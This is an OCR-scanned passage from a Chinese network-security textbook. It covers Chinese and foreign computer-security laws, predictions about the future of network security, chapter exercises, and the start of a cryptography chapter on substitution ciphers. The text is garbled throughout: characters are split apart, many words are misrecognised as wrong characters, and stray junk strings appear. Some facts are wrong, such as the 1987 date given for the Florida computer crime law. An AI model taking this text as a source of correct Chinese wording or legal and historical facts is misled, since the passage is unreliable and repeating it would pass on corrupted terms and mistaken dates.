准则 。 它 发 布 阻止 任何 违反 规定 要 求 的 法 令 或 禁令 ,明确 系统 人 员 和 最 终 用 户 应 该 履行 的 
权利 和 义务 ,包括 宪法 \ 保 密 法 、 数 据 保护 法 、 计 算 机 安全 保护 条 例 、 计 算 机 犯罪 法 等 。 


1.6.1 计算 机 网 络 安全 立法 的 必要 性 和 立法 原则 


今 社会 中 ,利用 计算 机 犯罪 活动 猩 狐 的 一 个 主要 原因 在 于 ,各 国 的 计算 机 安全 立法 都 
不 健全 ， 尤其 是 有 关 单 位 没有 制定 相应 的 刑法 、 民 法 .诉讼 法 等 法 律 。 惩 罚 不 严 、 失 之 宽松 ， 
因此 使 犯罪 活动 屡禁不止 。1987 年 出 现 了 世界 上 第 一 部 计算 机 犯罪 法 一 一 佛罗里达 计算 
机 犯罪 法 。 它 首次 将 计算 机 犯罪 定 为 侵犯 知识 产权 罪 。 计 算 机 软件 也 逐渐 被 列 和 人 知识 产权 
的 范畴 ,从 而 受到 法 律 的 保护 。 而 在 此 之 前 ,对 窃取 信息 、 自 改 信息 是 否 有 罪 尚 无 法 律 依据 。 
目前 ,国外 许多 政府 纷纷 制定 计算 机 安全 方面 的 法 律 .法规 ,对 利用 计算 机 犯罪 定罪 .量刑 产 
生 的 威慑 力 可 使 有 犯罪 企图 的 人 产生 旦 惧 心 理 , 从 而 减少 犯罪 的 可 能 ,保持 社会 的 安定 

加 强 伦理 道德 教育 对 社会 的 稳定 和 计算 机 网 络 安全 也 十 分 重要 。 

要 教育 全 体 计算 机 工作 者 进行 合法 的 信息 实践 活动 。 所 谓 合法 的 信息 实践 活动 是 指 在 
一 定 的 人 机 环境 条 件 下 ,符合 法 律 法 规 和 技术 规范 要 求 并 满足 系统 或 用 户 应 用 目标 要 求 的 
信息 活动 。 

合法 的 信息 实践 活动 应 受到 法 律 的 保护 ,并 且 应 当 遵循 以 下 原则 : 

(1) 合法 登记 原则 。 要 按 一 定 的 法 律 程序 注册 、 登 记 、 建 立 计算 机 信息 系统 ,特别 是 和 
Internet 的 连接 ,必须 要 通过 国家 规定 的 国内 4 个 骨干 网 络 之 一 才能 连接 入 网 使 用 。 凡 不 
符合 条 例 规定 的 系统 不 予 注册 、 登 记 ,而 没有 登记 、 注 册 的 系统 其 安全 当然 得 不 到 法 律 的 保 
护 。 系 统 的 任何 重大 改变 ,如 工作 性 质 、 拓 扑 结构 都 要 及 时 修改 注册 或 重新 注册 登记 。 

(2) 合法 用 户 原则 。 进 入 系统 的 用 户 必须 是 经 过 登记 注册 的 合法 用 户 。 

(3) 信息 公开 原则 。 用 户 信息 按 用 户 确 认 和 系统 允许 的 形式 保存 在 系统 中 ,用 户 有 权 
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查询 和 复制 这 些 信息 ,有 权 修 改名 称 和 内 容 , 但 对 他 人 和 外 部 泄露 的 行为 则 应 了 予以 限制 和 
制止 。 

(4) 资源 限制 原则 。 系 统 保持 信息 的 类 型 应 给 予 适 当 限 制 , 不 允许 系统 保持 超出 合法 
权利 以 外 的 信息 类 型 ,并 对 信息 保持 的 时 限 和 精确 度 也 给 出 限制 。 

总 之 ,采取 这 些 措施 可 保持 社会 的 稳定 ,将 侵犯 计算 机 的 行为 减 到 最 低 , 在 最 广大 的 范 
围 内 保证 计算 机 网 络 系统 的 安全 。 


1.6.2 国外 的 主要 计算 机 安全 立法 


国外 的 主要 计算 机 安全 立法 有 以 下 几 种 : 

(1) 美国 的 《国家 信息 基础 设施 保护 法 》《 计 算 机 欺诈 与 滥用 法 》《 公 共 网 络 安全 法 》、 
《计算 机 安全 法 》《 加 强 计算 机 安全 法 》《 加强 网 络 安全 法 》《 信 息 自 由 法 》《 隐 私 权 法 》《 电 
子 通信 隐私 法 》《 儿 童 在 线 隐 私 权 保护 法 》《 通 信 净 化 法 》《 数 据 保密 法 》《 网 络 安全 信息 
法 》《 网 络 电子 安全 法 》。 

(2) 英国 的 《数据 保护 法 》。 

(3) 美国 和 加 拿 大 的 《个 人 隐私 法 》。 

(4) 日 本 政府 先后 制定 《建立 高 度 信 息 通 信和 网 络 社会 基本 法 )( 简 称 《IT 基本 法 》))《 电 
子 签名 法 《禁止 非法 接 入 法 ) 等 ,目前 仍 处 在 审议 过 程 中 的 法 律 法 规 有 《个 人 信息 保护 法 》、 
《行政 机 关 保 存 的 个 人 信息 保护 法 》《 独 立 公 共事 业 法 人 等 保存 的 个 人 信息 保护 法 》《 信 息 
公开 .个 人 信息 保护 审查 会 设置 法 ?等 。 

(5) 欧盟 先后 制定 了 《欧盟 网 络 刑事 公约 》《 欧 盟 电子 签名 指 欧盟 电子 商务 指 
令 )《 欧 盟 数据 保护 指令 ) 等 法 律 性 文件 。 

(6) 德国 的 (信息 和 通信 服务 规范 法 》, 即 (多 媒体 法 》。 

(7) 意大利 等 国 将 计算 机 犯罪 与 刑法 、 民 法 联系 起 来 ,修改 有 关 条 款 , 收 到 了 较 好 的 
效果 。 


1.6.3 我 国 计 算 机 信息 系统 安全 法 规 简 介 


随 着 全 球 信息 化 的 发 展 , 如 何 确保 计算 机 网 络 信息 系统 的 安全 ,已 成 为 我 国信 息 化 建设 
过 程 中 必须 解决 的 重大 问题 。 由 于 我 国信 息 系 统 安全 在 技术 .产品 和 管理 等 方面 相对 落后 ， 
所 以 在 国际 联网 之 后 ,信息 安全 问题 变 得 十 分 重要 。 

在 这 种 形式 下 ,为 尽快 制定 适应 和 保障 我 国信 息 化 发 展 的 计算 机 信息 系统 安全 总 体 策 
略 ,全面 提高 安全 水 平 ,规范 安全 管理 ,从 1994 年 起 国务 院 、 公 安 部 等 有 关 单 位 制定 发 布 了 
《中 华人 民 共 和 国 计 算 机 信息 系统 安全 保护 条 例 ) 等 一 系列 信息 系统 安全 方面 的 法 规 。 
2006 年 印发 的 (2006 一 2020 年 国家 信息 化 发 展 战略 明确 指 出 ,要 不 断 提高 信息 安全 的 法 律 
保障 能 力 ,建立 和 完善 维护 国家 信息 安全 的 长 效 机 制 。 有 关 信 息 安全 的 立法 主要 涉及 信息 
系统 安全 保护 、 国 际 联网 管理 、 商 用 密码 管理 .计算 机 病毒 防治 和 安全 产品 检测 与 销售 5 个 
方面 。 下 面 按照 这 5 个 方面 ,介绍 其 中 的 主要 安全 法 规 和 主要 内 容 。 

1. 信息 系统 安全 保护 

作为 我 国 第 一 个 关于 信息 系统 安全 方面 的 法 规 《 中 华人 民 共 和 国 计 算 机 信息 系统 安全 
保护 条 例 》 是 国务 院 于 1994 年 2 月 18 日 发 布 的 ,分 5 章 共 31 条 ,目的 是 保护 信息 系统 的 安 

。37。 


全 ,促进 计算 机 的 应 用 和 发 展 。 其 主要 内 容 如 下 。 
。 公安 部 主管 全 国 的 计算 机 信息 系统 安全 保护 工作 。 


。 计算 机 信息 系统 实行 安全 等 级 保护 。 

。 健全 安全 管理 制度 。 

。 国家 对 计算 机 信息 系统 安全 专用 产品 的 销售 实行 许可 证 制度 。 

。 公安 机 关 行 使 监督 职权 ,包括 监督 检查、 指导 和 查处 危害 信息 系统 安全 的 违法 犯罪 
案件 等 。 


2000 年 9 月 20 日 由 国务 院 第 31 次 常务 会 议 通 过 的 4 中 华人 民 共 和 国电 信条 例 》( 简 称 
《电信 条 例 》) ,着 重 加 强 公 共 电 信 网 络 和 公共 计算 机 体系 中 的 信息 保密 问题 。 

2. 国际 联网 管理 

加 强 对 计算 机 信息 系统 国际 联网 的 管理 ,是 保障 信息 系统 安全 的 关键 。 因 此 ,国务 院 、 
公安 部 等 单位 先后 共同 制定 了 下 面 7 个 关于 国际 联网 的 法 规 。 

(1) 国务 院 于 1996 年 2 月 1 日 发 布 (中 华人 民 共 和 国 计 算 机 信息 网 络 国际 联网 管理 暂 
行规 定 》, 并 于 1997 年 5 月 20 日 根据 (国务 院 关 于 修改 (中 华人 民 共 和 国 计 算 机 信息 网 络 国 
际 联网 管理 暂行 规定 ) 的 决定 ) 进 行 了 修正 , 共 17 条 。 它 体现 了 国家 对 国际 联网 实行 统筹 规 
划 ,统一 标准 、 分 级 管理 ,促进 发 展 的 原则 。 

(2)《 中 华人 民 共 和 国 计 算 机 信息 网 络 国 际 联网 管理 暂行 规定 实施 办 法 ), 是 国务 院 信 
息 化 工作 领导 小 组 于 1997 年 12 月 8 日 发 布 的 , 共 25 条 。 它 是 根据 (中 华人 民 共 和 国 计 算 
机 信息 网 络 国际 联网 管理 暂行 规定 ) 而 制定 的 具体 实施 办 法 。 

(3)《 计 算 机 信息 网 络 国际 联网 安全 保护 管理 办 法 ) 是 1997 年 12 月 11 日 经 国务 院 批 
准 、 公 安 部 于 1997 年 12 月 30 日 发 布 的 ,分 5 章 共 25 条 ,目的 是 加 强国 际 联网 的 安全 保护 。 

(4)《 中 国 公用 计算 机 Internet 国际 联网 管理 办 法 ) 是 原 邮 电 部 在 1996 年 发 布 的 , 共 17 
条 ,目的 是 加 强 对 中 国 公用 计算 机 Internet Chinanet 国际 联网 的 管理 。 

(5)《 计 算 机 信息 网 络 国际 联网 出 入 口 信道 管理 办 法 ) 是 原 邮 电 部 在 1996 年 发 布 的 , 共 
11 条 ,目的 是 加 强 计算 机 信息 网 络 国际 联网 出 入 口 的 管理 。 

(6)《 计 算 机 信息 系统 国际 联网 保密 管理 规定 ) 是 由 国家 保密 局 于 2000 年 1 月 1 日 发 
布 并 开始 执行 的 ,分 4 章 共 20 条 ,目的 是 加 强国 际 联网 的 保密 管理 ,确保 国家 秘密 的 安全 。 

(7) 2000 年 9 月 20 日 由 国务 院 颁 布 了 《互联 网 信息 服务 管理 办 法 》 对 色情 信息 的 制 
作 、 贩 卖 传播 行为 进行 规制 ,同时 对 传播 色情 信息 的 网 络 服务 提供 商 加 重 处 罚 。 

3. 商用 密码 管理 

《商用 密码 管理 条 例 ) 是 国务 院 在 1999 年 10 月 7 日 发 布 的 ,分 7 章 共 27 条 ,目的 是 加 
强 商用 密码 管理 ,保护 信息 安全 ,保护 公民 和 组 织 的 合法 权益 ,维护 国家 的 安全 和 利益 。 

其 主要 内 容 如 下 : 

(1) 国家 密码 管理 委员 会 及 其 办 公 室 (简称 密码 管理 机 构 ) 主 管 全 国 的 商用 密码 管理 
下 作 5 

(2) 商用 密码 技术 属于 国家 秘密 ,国家 对 商用 密码 产品 的 科研 生产、 销售 和 使 用 实行 
专 控 管 理 。 

(3) 商用 密码 的 科研 任务 由 密码 管理 机 构 指 定 的 单位 承担 。 

(4) 商用 密码 产品 由 密码 管理 机 构 指定 的 单位 生产 ,其 品种 和 型 号 必须 经 国家 密码 管 
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理 机 构 批 准 , 且 必须 经 产品 质量 检测 机 构 检 测 合格 。 

(5) 商用 密码 产品 由 密码 管理 机 构 许可 的 单位 销售 。 

(6) 用 户 只 能 使 用 经 密码 管理 机 构 认可 的 商用 密码 产品 , 且 不 得 转让 。 

4. 计算 机 病毒 防治 

《计算 机 病毒 防治 管理 办 法 ) 是 公安 部 于 2000 年 4 月 26 日 发 布 执行 的 , 共 22 条 ,目的 
是 加 强 对 计算 机 病毒 的 预防 和 治理 ,保护 计算 机 信息 系统 安全 。 

其 主要 内 容 如 下 : 

(1) 公安 部 公共 信息 网 络 安全 监察 部 门 主管 全 国 的 计算 机 病毒 防治 管理 工作 ,地 方 各 
级 公安 机 关 具 体 负责 本 行政 区 域内 的 计算 机 病毒 防治 管理 工作 。 

(2) 任何 单位 和 个 人 应 接受 公安 机 关 对 计算 机 病毒 防治 工作 的 监督 检查 和 指导 ,不 得 
制作 、 传 播 计算 机 病毒 。 

(3) 计算 机 病毒 防治 产品 厂商 ,应 及 时 向 计算 机 病毒 防治 产品 检测 机 构 提交 病毒 样本 。 

(4) 拥有 计算 机 信息 系统 的 单位 应 建立 病毒 防治 管理 制度 并 采取 防治 措施 。 

(5) 病毒 防治 产品 应 具有 计算 机 信息 系统 安全 专用 产品 销售 许可 证 ,并 贴 有 “销售 许 
可 ”标签 。 

5. 安全 产品 检测 与 销售 

《计算 机 信息 系统 安全 专用 产品 检测 和 销售 许可 证 管理 办 法 》 是 公安 部 于 1997 年 12 月 
12 日 发 布 并 执行 的 ,分 6 章 共 19 条 ,目的 是 加 强 计 算 机 信息 系统 安全 专用 产品 的 管理 , 保 
证 安全 专用 产品 的 安全 功能 ,维护 计算 机 信息 系统 的 安全 。 

其 主要 内 容 如 下 : 

(1) 我 国境 内 的 安全 专用 产品 进入 市 场 销售 ,实行 销售 许可 证 制度 。 

(2) 颁发 销售 许可 证 前 ,产品 必须 进行 安全 功能 的 检测 和 认定 。 一 个 典型 的 检测 过 程 
为 : 生产 商 向 检测 机 构 申 请 安全 功能 检测 ;检测 机 构 检 测 样品 是 否 具有 信息 系统 安全 保护 
功能 ;检测 机 构 完成 检测 后 ,将 检测 报告 报 送 公 安 部 计算 机 管理 监察 部 门 备案 ;生产 商 申 领 
销售 许可 证 。 

(3) 公安 部 计算 机 管理 监察 部 门 负责 销售 许可 证 的 审批 颁发 .检测 机 构 的 审批 ,定期 发 
布 安全 专用 产品 的 检测 通告 和 经 安全 功能 检测 确认 的 安全 专用 产品 目录 。 

(4) 销售 许可 证 只 对 所 申请 销售 的 安全 专用 产品 有 效 , 有 效 期 为 两 年 。 

上 述 计算 机 信息 系统 安全 法 规 ,基本 覆盖 了 信息 系统 安全 管理 所 涉及 的 内 容 , 体 现 了 国 
家 对 信息 安全 的 重视 。 在 这 些 法 规 基础 上 ,一 些 省 市 也 相继 制定 了 相关 的 地 方法 规 , 例 如 山 
东 省 的 《计算 机 信息 系统 安全 管理 办 法 》。 国 家 法 规 和 地 方法 规 的 相互 补充 ,将 大 大 加 强 我 
国 在 计算 机 信息 系统 安全 方面 的 管理 ,促进 我 国信 息 产 业 的 发 展 。 


1.7 网 络 安全 的 发 展 方向 


随 着 网 络 的 发 展 ,技术 的 进步 ,网 络 安全 面临 的 挑战 也 在 增 大 。 一 方面 ,对 网 络 的 攻击 
方式 层出不穷 : 1996 年 已 报道 的 攻击 方式 有 400 种 ,1997 年 达到 1000 种 ,1998 年 即 达到 
4000 种 ,两 年 间 增 加 了 9 倍 , 攻 击 方式 的 增加 意味 着 对 网 络 威胁 的 增 大 ; 随 着 硬件 技术 和 并 
行 技 术 的 发 展 , 计 算 机 的 计算 能 力 迅 速 提高 ,原来 认为 安全 的 加 密 方式 有 可 能 失效 ,如 
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1994 年 4 月 26 日 ,人 们 用 计算 机 破译 了 RSA 发 明 人 17 年 前 提出 的 数学 难题 : 一 个 129 位 
数 数字 中 包含 的 一 条 密语 ,而 在 问题 提出 时 预测 该 问题 用 计算 机 需要 850 万 年 才能 分 解 成 
功 ;针对 安全 通信 措施 的 攻击 也 不 断 取得 进展 ,如 1990 年 6 月 20 日 美国 科学 家 找到 了 
155 位 大 数 因 子 的 分 解 方法 ,使 美国 的 加 密 体制 受到 威胁 ”。 另 一 方面 ,网 络 应 用 范围 的 不 
断 扩大 ,使 人 们 对 网 络 依赖 的 程度 增 大 ,对 网 络 的 破坏 造成 的 损失 和 混乱 会 比 以 往 任何 时 候 
都 大 。 这 些 对 网 络 信息 安全 保护 提出 了 更 高 的 要 求 , 也 使 网 络 信息 安全 学 科 的 地 位 显得 更 
加 重要 ,网 络 信息 安全 必然 随 着 网 络 应 用 的 发 展 而 不 断 发 展 。 

以 下 是 一 些 国际 机 构 或 专家 对 21 世纪 使 网 络 安全 性 问题 发 生 重大 变化 的 一 些 预 测 。 

(1) 政府 试图 延缓 密码 编制 学 的 传播 所 采取 的 输出 控制 条 例 、 密 钥 - 契 约 计 算 等 措施 将 
被 证 明 是 无 效 的 并 将 被 抛 在 一 边 。 原 因 很 简单 : 人 们 将 上 亿美 元 用 于 Internet 的 商业 化 ， 
而 且 商 业 化 的 Internet 需要 密码 编制 学 。 没 有 哪 位 议员 会 因 要 满足 那些 冷战 专家 和 美国 联 
邦 调 查 局 而 试图 危及 平均 十 亿美 元 的 共同 体 电 子 贸易 。 

(2) 政府 将 放弃 规范 网 络 内 容 的 努力 。Internet 网 没有 国家 界限 ,这 使 得 政府 如 果 不 在 
网 上 截断 Internet 与 本 国 的 联系 就 不 可 能 控制 人 们 的 所 见 所 闻 。 但 对 于 像 AOL， 
Compuserve 及 Microsoft 这 样 具备 国际 性 的 网 络 ,即使 完全 切断 联系 也 没有 用 。 个 人 卫星 
通信 系统 如 Iridium 将 最 终结 束 国家 的 数据 界限 。 这 将 使 针对 网 络 通信 量 或 交易 量 收 税 的 
工作 产生 有 趣 的 和 不 可 预期 的 效应 。 国 家 数据 政策 发 布 的 不 确定 性 将 反映 在 不 断 改变 、 混 
乱 且 无 意义 的 条 例 中 ,就 像 近 期 未 付 诸 实施 的 通信 传播 合法 化 运动 一 样 。 这 些 法 律 将 被 忽 
略 、 变 更 或 成 为 过 去 ,而 网 络 则 将 安然 无 盖 , 继 续 存在 。 

(3) 现在 如 果 发 生 一 次 主 计算 机 系统 安全 骨 溃 事故 ,那么 将 至 少 会 有 一 个 亿 的 金融 系 
统 唱 到 破坏 。 随 着 货币 在 形式 上 变 得 越 来 越 电 子 化 ,其 流动 也 就 越 来 越 快 。 这 种 流动 使 得 
货币 在 容易 携带 的 同时 也 更 容易 被 偷窃。 由 于 大 多 数 至 关 重 要 的 财经 信息 涌 上 网 络 ,来 自 
内 部 的 对 于 系统 安全 性 的 威胁 将 会 变 得 越 来 越 大 。 不 道德 的 雇员 将 会 偷 走 电 子 商 品 ,投资 
者 和 存款 人 不 得 不 由 联邦 政府 保护 ,这 种 偷 穷 行为 必 将 增加 财经 领域 中 的 计算 机 现行 安全 
制度 的 压力 ,这 种 制度 由 政府 或 由 金融 界 的 审计 员 来 制定 。 

(4) 随 着 网 络 在 规模 和 重要 性 方面 的 不 断 增长 ,系统 和 网 络 管理 技术 的 发 展 将 继续 深 
入 。 由 于 很 多 现行 的 网 络 管理 工具 缺乏 最 基本 的 完全 性 ,整个 网 络 将 可 能 被 入侵 者 完全 破 
坏 ,达到 其 法 定 所 有 者 甚至 无 法 再 重新 控制 它们 的 程度 。 最 终 , 人 们 将 认识 到 网 络 管理 和 安 
全 管理 是 同一 事物 的 不 同方 面 ,两 者 密 不 可 分 、 相 互 关联 。 对 这 样 一 种 概念 的 认 知 将 是 件 好 
事 。 因 系统 提供 商 的 标准 之 争 和 公众 对 于 其 私人 信息 与 交易 安全 性 的 担心 而 被 推迟 了 很 长 
一 段 时 间 的 在 线 商业 ,最 终 将 会 逐步 繁荣 起 来 。 

(5) 在 大 量 的 计算 机 安全 诉讼 案 获 得 胜诉 后 ,律师 们 将 对 有 关 计 算 机 安全 案件 的 胜诉 
前 景 产 生 足 够 的 信心 。 案 件 追踪 律师 会 大 量 介 入 Internet 网 ,并 努力 寻找 用 于 对 抗 计算 机 
窃贼 的 系统 的 缺陷 ,为 "黑客 "提供 宿主 的 站 点 和 未 对 私人 信息 提供 足够 保护 的 其 他 网 络 站 
点 。 递 增 的 与 Internet 网 络 相关 的 诉讼 案 将 引起 将 公司 虚拟 化 并 将 总 部 设 在 国外 不 确定 地 
区 的 风潮 。 

(6) 某 种 保护 个 人 数据 隐私 的 法 律 法 规 将 会 建立 。 但 这 也 许 太 迟 了 ,因为 到 那 时 ,从 事 
数据 搜集 的 公司 已 将 他 们 的 业务 转移 到 国外 ,并 有 服务 机 构 专 职 出 售 信息 ,而 其 他 服务 机 构 
则 将 过 滤 、 修 正 甚 至 "放大 ”这 些 信息 。 

。 40 。 


(7) 一 些 软件 公司 将 由 于 产品 质量 或 连带 责任 的 诉讼 而 遭受 巨大 的 经 济 损失 。 软 件 质 
量 的 现 权 法 将 逐渐 形成 。 目 前 软件 的 这 种 处 于 模糊 状态 的 售 出 情况 即使 对 于 一 个 能 支付 得 
起 大 量 金钱 雇佣 律师 甚至 收买 法 律 制 定 者 的 软件 公司 来 说 ,也 会 因 诉讼 的 损失 巨大 而 不 会 
维持 太 久 。 如 果 一 个 轿车 制造 厂家 应 对 制造 出 在 交通 事故 中 发 生 爆 炸 的 轿车 负责 任 的 话 ， 
软件 生产 厂商 也 应 对 生产 出 由 于 安全 方面 存在 漏洞 而 使 其 使 用 者 蒙受 财产 损失 的 软件 负 
责 。 随 着 当代 没有 技术 知识 的 立法 者 和 法 官 被 新 生 的 具有 技术 头脑 的 立法 者 和 法 官 所 取 
代 , 软 件 和 网 络 安全 现 权 法 的 时 代 也 将 到 来 。 

(8) 一 些 人 利用 其 软件 开发 员 的 工作 在 某 些 流行 的 网 络 化 软件 中 留 下 了 特洛伊 木马 。 
这 使 他 们 日 后 有 能 力 攻 击 成 千 上 万 的 网 络 系统 ,构成 系统 安全 的 严重 危害 。 这 种 现象 已 经 
产生 了 ,只 是 人 们 还 没有 给 予 足够 的 重视 而 已 。 

(9) 智能 卡 和 数字 认证 将 变 得 盛行 。 随 着 越 来 越 多 的 系统 利用 密码 技术 ,最 终 用 户 需 
要 将 密 钥 和 验证 码 存放 在 不 至 丢失 的 地 方 。 所 以 他 们 要 用 智能 卡 来 备份 以 防 硬盘 损坏 ,并 
将 智能 卡 广泛 内 置 于 个 人 数字 助手 (PDA) 中 。 

(10) 软件 将 主要 以 Java 或 Active X 这 样 可 供 下 载 的 可 执行 程序 的 方式 运作 。 网 络 安 
全 管理 系统 的 建造 者 们 需要 找到 如 何 控制 和 维护 可 下 载 式 程序 的 方法 。 同 时 他 们 也 要 编制 
一 些 必要 的 工具 以 防止 某 些 可 下 载 式 有 害 程序 的 蔓延。 这 样 的 程序 主要 是 病毒 .特洛伊 木 
马 以 及 其 他 到 目前 为 止 仍 无 法 想象 出 的 一 些 程序 。 

(11) HTTP 文件 格式 将 被 越 来 越 多 的 信息 服务 机 构 作 为 传递 消息 的 方式 。PointCast 
现在 就 是 按照 HTTP 格式 的 反馈 要 求 来 分 渠道 传送 信息 ,可 以 预见 ,其 他 信息 机 构 也 将 相 
继 效仿 这 种 方法 。 防 火 墙 对 于 将 安全 策略 应 用 于 数据 流 的 作用 将 减低 并 会 逐渐 失去 其 
效力 。 

(12) 虚拟 网 络 将 与 安全 性 相 融 合 , 并 很 有 和 希望 与 网 络 管理 系统 结合 起 来 。 软 件 硬 件 将 
协同 工作 以 便 将 带 有 不 同类 型 的 网 络 应 用 特性 和 用 途 与 网 络 彼 此 隔离 ,由 此 产生 的 隔离 体 
仍 将 被 称 做 “防火 墙 ”。 

(13) 高 水 平 的 人 才 和 服务 将 不 断 发 展 。 目前 ,将 网 络 系统 的 安全 加 强项 目 交 给 网 络 安 
全 服务 公司 或 团队 , 正 逐 渐 成 为 一 种 趋势 ,网络 安全 服务 也 将 随 着 网 络 安 全 产业 和 业务 的 发 
展 而 扩展 。 


1.8 本 章 小 结 


随 着 计算 机 网 络 广泛 应 用 于 政治 军事、 经 济 和 科学 技术 各 个 领域 ,数据 在 存储 和 传输 
过 程 中 可 能 被 窃听 、` 暴 圳 或 自 改 ,网 络 系统 和 应 用 软件 也 可 能 遭受 黑客 的 恶意 程序 的 攻击 而 
使 网 络 瘫 凋 。 因 此 ,如 何 保证 计算 机 网 络 的 安全 变 得 非常 重要 起 来 。 

计算 网 络 的 安全 包含 两 方面 的 内 容 : 一 方面 指 保护 网 络 数据 和 程序 等 资源 ,以 免 受 到 
有 意 或 无 意 的 破坏 或 越权 修改 与 占用 , 即 访问 技术 ; 另 一 方面 指 为 维护 用 户 的 自身 利益 对 某 
些 资源 或 信息 进行 加 密 的 密码 技术 。 

本 章 着 重 介绍 了 计算 机 网 络 基 础 知识 、 网 络 安全 的 现状 与 需求 、 网 络 安全 术语 以 及 网 络 
安全 的 策略 等 问题 。 为 实现 网 络 安全 的 目的 ,必须 了 解 网 络 不 安全 的 因素 和 网 络 的 缺陷 ,做 
到 知己 知 彼 , 同 时 采取 相应 的 措施 加 以 防止 。 
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基础 练习 题 


. 使 网 络 通信 不 安全 的 因素 有 哪些 ? 

. 网 络 本 身 存 在 哪些 安全 缺陷 ? 

. 为 什么 网 络 易 被 窃听 ? 

. 简 述 黑客 ,密码 技术 、 访 问 控制 技术 及 数字 签名 的 概念 。 
. 计算 机 网 络 安全 中 有 哪些 访问 控制 策略 ? 

. 计算 机 网 络 系统 应 具有 哪些 安全 的 功能 ? 

.网 络 安全 体系 结构 分 层 的 内 容 是 什么 ? 

.要 保证 网 络 信 息 的 安全 ,计算 机 网 络 应 该 具备 哪些 特征 ? 
. 计算 机 网 络 安全 策略 主要 包括 哪些 内 容 ? 

10. 网 络 安全 策略 的 实现 在 技术 上 应 从 哪 几 个 方面 来 保证 ? 


实践 题 
1. 使 用 Internet 查找 有 关 信 息 安 全 及 与 商业 过 程 的 关系 的 文章 ,讨论 新 的 法 律 对 商业 
活动 的 影响 ,并 在 班 上 进行 讨论 。 
2. 查找 有 关 网 络 安全 事件 的 信息 ,并 进行 分 析 , 阐 述 网 络 安全 对 于 各 个 领域 的 重要 性 。 
3. 分 析 目 前 你 所 接触 的 计算 机 网 络 , 你 碰 到 过 的 安全 问题 有 哪些 ? 


GD co WwW ~ 


讨论 与 思考 题 * 
1. 对 于 层出不穷 的 网 络 安全 问题 ,作为 政府 ` 企 业 ` 个 人 都 应 该 从 哪些 方面 做 防范 和 控 
制 工作 ? 


2. 作为 Internet 用 户 ,应 遵守 什么 样 的 网 络 道德 ? 
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第 2 章 密码 技术 


密码 技术 是 保护 信息 安全 的 主要 手段 之 一 。 密 码 技 术 是 结合 数学 .计算 机 科学 .电子 与 
通信 等 诸多 学 科 于 一 身 的 交叉 科学 。 它 不 仅 具 有 信息 加 密 功 能 ,而 且 具 有 数字 签名 、 身 份 验 
证 ,秘密 分 存 、 系 统 安全 等 功能 。 所 以 使 用 密码 技术 不 仅 可 以 保证 信息 的 机 密 性 ,而 且 可 以 
保证 信息 的 完整 性 和 确证 性 ,防止 信息 被 算 改 、 伪 造 或 假冒 。 

在 计算 机 网 络 通 信 中 ,给 网 络 双方 通信 的 信息 加 密 是 保证 计算 机 网 络 安全 的 措施 之 一 。 

本 章 学 习 的 主要 内 容 有 : 
传统 的 加 密 方法 ; 

DES 加 密 标准 算法 ; 
AES 加 密 算法 ; 
公开 密 钥 加 密 算法 ; 
计算 机 网 络 加 密 技 术 
密码 技术 应 用 实例 。 


2.1 要 述 


用 户 在 计算 机 网 络 的 信道 上 相互 通信 ,其 主要 危险 是 被 非法 窃听 。 例 如 ,采用 搭 线 窃 
听 ,对 线路 上 传输 的 信息 进行 截获 :采用 电磁 窃听 ,对 用 无 线 电 传输 的 信息 进行 截获 等 。 因 
此 ,对 网 络 传输 的 报 文 进 行 数据 加 密 , 是 一 种 很 有 效 的 反 窃听 手段 。 通 常 是 采用 一 定 算法 对 


原文 进行 软 加 密 , 然 后 将 密码 电文 进行 传输 ,即使 被 截获 也 是 一 时 难以 破译 的 。 
1. 基本 概念 


(1) 明文 : 信息 的 原始 形式 (plaintext ,通常 记 为 P) 。 

(2) 密 文 : 明文 经 过 变换 加 密 后 的 形式 (ciphertext ,通常 记 为 C) 。 

(3) 加 密 : 由 明文 变 成 密 文 的 过 程 称 为 加 密 (enciphering, 记 为 EE) ,加密 通常 是 由 加 密 
算法 来 实现 的 。 

(4) 解密 : 由 密 文 还 原 成 明文 的 过 程 称 为 解密 (deciphering, 记 为 D) ,解密 通常 是 由 解 
密 算法 来 实现 的 。 

(5) 密 钥 : 为 了 有 效 地 控制 加 密 和 解密 算法 实现 ,在 其 处 理 过 程 中 要 有 通信 双方 掌握 
的 专门 信息 参与 ,这 种 专门 信息 称 为 密 钥 (key, 记 为 K)。 

2. 数据 加 密 模 型 

密码 技术 通过 信息 的 变换 或 编码 ,将 机 密 的 敏感 消息 变换 成 黑客 难以 读 懂 的 乱码 型 文 
字 , 以 此 达到 两 个 目的 : 其 一 ,使 不 知道 如 何 解密 的 黑客 不 可 能 从 其 截获 的 乱码 中 得 到 任何 
有 意义 的 信息 ;其 二 ,使 黑客 不 可 能 伪造 任何 乱码 型 的 信息 。 

一 般 把 要 加 密 的 报 文 ( 称 为 明文 ,plaintext) ,按照 以 密 钥 (key ) 为 参数 的 函数 进行 变换 ， 
通过 加 密 过 程 而 产生 的 输出 称 为 密 文 (ciphertext) 或 密码 文件 (cryptogram) ,破译 密码 的 技 
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术 称 为 密码 分 析 (cryptanalysis) , 一 般 的 数据 加 密 模 型 如 图 2-1 所 示 。 把 设计 密码 的 技术 
(加 密 技 术 ) 和 破译 密码 的 技术 (密码 分 析 ) 总 称 为 密码 技术 (cryptology)。 加 密 算法 和 解密 
算法 是 在 密 钥 的 控制 下 进行 的 ,加 密 和 解密 过 程 中 使 用 的 密 钥 分 别称 为 加 密 密 钥 和 解密 


明文 P 一 一 | 加 密 方法 解密 方法 广 一 
人 
加 密 密 钥 ” C=E(P) 解密 密 钥 
图 2-1 数据 加 密 模 型 


2.2 传统 的 加 密 方法 


传统 的 加 密 方 法 ,其 密 钥 是 由 简单 的 字符 串 组 成 的 , 它 可 选择 许多 加 密 形式 中 的 一 种 。 
只 要 有 必要 ,就 可 经 常 改变 密 钥 。 因 此 ,这 种 基本 加 密 模型 是 稳定 的 ,是 人 所 共 知 的 。 它 的 
好 处 就 在 于 可 以 秘密 而 又 方便 地 变换 密 钥 , 从 而 达到 保密 的 目的 ,传统 的 加 密 方法 可 以 分 为 
两 大 类 : 替代 密码 和 换 位 密码 。 


2.2.1 替代 密码 


替代 密码 (substitution cipher) 是 用 一 组 密 文字 母 来 代 奉 一 组 明文 字母 以 隐藏 明文 ,但 
保持 明文 字母 的 位 置 不 变 。 在 蔡 代 法 加 密 体制 中 ,使 用 了 密 钥 字母 表 。 它 可 以 由 一 个 明文 
字母 表 构 成 ,也 可 以 由 多 个 明文 字母 表 构 成 。 由 一 个 字母 表 构 成 的 奉 代 密码 , 称 为 单 表 密 
